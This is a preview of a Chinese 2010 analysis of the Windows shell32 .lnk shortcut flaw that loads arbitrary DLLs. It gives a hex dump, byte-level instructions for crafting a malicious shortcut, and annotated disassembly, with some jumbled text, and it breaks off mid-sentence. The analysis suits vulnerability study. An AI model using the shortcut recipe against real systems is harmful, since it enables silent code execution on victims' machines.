lnk文件漏洞簡要分析_第1頁
lnk文件漏洞簡要分析_第2頁
全文預覽已結束

付費下載

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

1、LNK文件漏洞簡要分析來源:本站轉(zhuǎn)載 作者:佚名 時間:2010-07-22 09:54:02 前言windows的shell32在處理控制面板程序的快捷方式文件時,存在一個漏洞,可以加載硬盤上的任意DLL文件,即可執(zhí)行任意代碼。漏洞文件的生成到“控制面板”下面,右鍵點“顯示”,點“創(chuàng)建快捷方式”,把快捷方式創(chuàng)建在桌面上。然后在桌面用WinHex打開“顯示.lnk”文件。Offset 01234567 89ABCDEF00000000 4C 00 00 00 01 14 02 0000 00 00 00 C0 00 00 00 L.?.00000010 00 00 00 46 81 00 00

2、 0000 00 00 00 00 00 00 00 .F?.00000020 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 .00000030 00 00 00 00 00 00 00 0000 00 00 00 01 00 00 00 .00000040 00 00 00 00 00 00 00 0000 00 00 00 CC 00 14 00 .?.00000050 1F 50 E0 4F D0 20 EA 3A69 10 A2 D8 08 00 2B 30 .P郞?i.+000000060 30 9D 14 00 2E 00 20 20

3、EC 21 EA 3A 69 10 A2 DD 0?.?i.00000070 08 00 2B 30 30 9D A2 0000 00 9C FF FF FF 00 00 .+00潰.?.00000080 00 00 00 6A 00 00 00 0000 00 1D 00 20 00 44 00 .j. .D.00000090 3A 00 5C 00 57 00 49 004E 00 44 00 4F 00 57 00 :.W.I.N.D.O.W.000000A0 53 00 5C 00 73 00 79 0073 00 74 00 65 00 6D 00 S.s.y.s.t.e.m.000

4、000B0 33 00 32 00 5C 00 64 0065 00 73 00 6B 00 2E 003.2.d.e.s.k.000000C0 63 00 70 00 6C 00 00 003E 66 3A 79 00 00 F4 66c.p.l.f:y.鬴000000D0 39 65 A8 60 84 76 4C 6862 97 84 76 16 59 C2 89 9e剉Lhb梽v.Y000000E0 0C FF 8B 4F 82 59 CC 806F 66 01 30 4F 5C 55 5E .婳俌虁of.0OU000000F0 DD 4F A4 62 0B 7A 8F 5E01 30

5、9C 98 72 82 01 30 軴.z廭.0湗r?000000100 57 5B 53 4F 27 59 0F 5C8C 54 4F 5C 55 5E 06 52 WSOY.孴OU.R00000110 A8 8F 87 73 02 30 00 0000 00 00 00 00 00 噑.0.把偏移7A處的9C FF FF FF改成00 00 00 00,把后面的文件名D:WINDOWSsystem32desk.cpl改成C:dll.dll(UNICODE格式)。保存文件。把這個文件復制到任意目錄下,當用戶瀏覽該目錄時,就會加載C:dll.dll文件。Lnk文件格式的相關地方Lnk的目標文件

6、存放在Shell Item Id List的SHITEMID結構里面,這個結構是按照層來表示一個目標的。上面那個lnk文件里面,第一層是14 00 .?.00000050 1F 50 E0 4F D0 20 EA 3A69 10 A2 D8 08 00 2B 30 .P郞?i.+000000060 30 9D14 00代表長度,后面的16字節(jié)是“我的電腦”的GUID 20D04FE0-3AEA-1069-A2D8-08002B30309D,注冊表里可以搜到。第二層是14 00 2E 00 20 20EC 21 EA 3A 69 10 A2 DD 0?.?i.00000070 08 00 2B

7、30 30 9D這個是“控制面板”的GUID 21EC2020-3AEA-1069-A2DD-08002B30309D。第三層就是后面長度為0 xA2的目標文件。這里面偏移0 x7A處的9C FF FF FF是用來指明快捷方式圖標的index。貌似是這樣的。所以這個Shell Item Id List所指向的文件就是:我的電腦-控制面板-D:WINDOWSsystem32desk.cpl。對于普通文件的快捷方式,好像是:我的電腦-盤符-目錄1-目錄2-文件名。漏洞產(chǎn)生的地方 shell32在處理lnk文件的時候要把它的圖標顯示出來,對于一般文件應該是從Iconfilenamestring里面解

8、析,但對于文件后面沒有Iconfilenamestring結構的控制面板快捷方式,是直接從0 x7A那里的iconindex來解析。當這個iconindex是0的時候,會去加載cpl文件,調(diào)用CPlApplet接口,這樣就存在執(zhí)行DLL中代碼的問題。7D716064 53 push ebx7D716065 FF75 10 push dword ptr ebp+107D716068 8D5E 0C lea ebx, dword ptr esi+C7D71606B 53 push ebx7D71606C FF75 0C push dword ptr ebp+C ;C:dll.dll,0,-這個0就

9、是從偏移7A那里得到的iconindex7D71606F FF15 0015597D call dword ptr ; kernel32.lstrcpynW7D716075 6A 2C push 2C7D716077 FF75 0C push dword ptr ebp+C7D71607A FF15 F41B597D call dword ptr ; shlwapi.StrChrW7D716080 85C0 test eax, eax7D716082 74 5D je short 7D7160E17D716084 66:8320 00 and word ptr eax, 07D716088 8

10、3C0 02 add eax, 27D71608B 50 push eax7D71608C FF15 641C597D call dword ptr ; shlwapi.StrToIntW7D716092 8B7D 14 mov edi, dword ptr ebp+147D716095 8907 mov dword ptr edi, eax7D716097 8B45 18 mov eax, dword ptr ebp+187D71609A C700 02000000 mov dword ptr eax, 27D7160A0 8B0F mov ecx, dword ptr edi7D7160A

11、2 33D2 xor edx, edx7D7160A4 3BCA cmp ecx, edx ;偏移0 x7A必須得是0,才會LoadLibary7D7160A6 75 33 jnz short 7D7160DB7D7160A8 C700 1A000000 mov dword ptr eax, 1A7D7160AE 8D86 14020000 lea eax, dword ptr esi+2147D7160B4 3910 cmp dword ptr eax, edx7D7160B6 8955 0C mov dword ptr ebp+C, edx7D7160B9 75 16 jnz short

12、7D7160D17D7160BB 8D4D 0C lea ecx, dword ptr ebp+C7D7160BE 51 push ecx7D7160BF 8D8E 18020000 lea ecx, dword ptr esi+2187D7160C5 51 push ecx7D7160C6 50 push eax7D7160C7 53 push ebx7D7160C8 E8 48C4F2FF call 7D642515 ;這里調(diào)用后面后面7D63866D FF15 6415597D call dword ptr ; kernel32.GetCurrentProcessId7D638673 5

13、0 push eax7D638674 56 push esi7D638675 68 00001000 push 100000 ; UNICODE f1df_6.0.2600.5512_x-ww_35d4ce837D63867A 8985 E4FDFFFF mov dword ptr ebp-21C, eax7D638680 FF15 6815597D call dword ptr ; kernel32.OpenProcess7D638686 3BC6 cmp eax, esi7D638688 8985 E8FDFFFF mov dword ptr ebp-218, eax7D63868E 0F

14、84 E5000000 je 7D6387797D638694 8D85 F4FDFFFF lea eax, dword ptr ebp-20C7D63869A 50 push eax7D63869B FF15 A41C597D call dword ptr ; shlwapi.PathFileExistsW7D6386A1 85C0 test eax, eax7D6386A3 C785 BCFDFFFF 2mov dword ptr ebp-244, 207D6386AD 74 14 je short 7D6386C37D6386AF 8D85 F4FDFFFF lea eax, dword

15、 ptr ebp-20C7D6386B5 89B5 C0FDFFFF mov dword ptr ebp-240, esi7D6386BB 8985 C4FDFFFF mov dword ptr ebp-23C, eax7D6386C1 EB 1A jmp short 7D6386DD7D6386C3 C785 C0FDFFFF 0mov dword ptr ebp-240, 87D6386CD 899D C4FDFFFF mov dword ptr ebp-23C, ebx7D6386D3 C785 D0FDFFFF 7mov dword ptr ebp-230, 7B7D6386DD 8D

16、85 BCFDFFFF lea eax, dword ptr ebp-2447D6386E3 50 push eax7D6386E4 FF15 6C15597D call dword ptr ; kernel32.CreateActCtxW7D6386EA 83F8 FF cmp eax, -17D6386ED 8985 F0FDFFFF mov dword ptr ebp-210, eax7D6386F3 75 06 jnz short 7D6386FB7D6386F5 89B5 F0FDFFFF mov dword ptr ebp-210, esi7D6386FB 8B3D 8C15597

17、D mov edi, dword ptr ; kernel32.ActivateActCtx7D638701 8D85 ECFDFFFF lea eax, dword ptr ebp-2147D638707 50 push eax7D638708 FFB5 F0FDFFFF push dword ptr ebp-2107D63870E FFD7 call edi7D638710 33F6 xor esi, esi7D638712 46 inc esi7D638713 56 push esi7D638714 56 push esi7D638715 56 push esi7D638716 53 p

18、ush ebx7D638717 FF15 00F0787D call dword ptr 7D78F000 ; apphelp.ApphelpCheckExe7D63871D 85C0 test eax, eax7D63871F 75 08 jnz short 7D6387297D638721 2185 E0FDFFFF and dword ptr ebp-220, eax7D638727 EB 0D jmp short 7D6387367D638729 53 push ebx ;加載DLL7D63872A FF15 A015597D call dword ptr ; kernel32.LoadLibraryW7D638730 8985 E0FDFFFF mov dword ptr ebp-220, eax ; dll.01C00000利用 據(jù)說病毒樣本是通過這個漏洞利用U盤來傳播的,不過我發(fā)現(xiàn)加載DLL必須是絕對路徑,用相對路徑是不行的,那病毒就必須要知道U盤的盤符才能加載U盤上的DLL。不知道這個問題是怎么解決的呢?我沒有仔細研究lnk文件格式,不知道是不是可以放多個目標地址。我能想到的就只

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論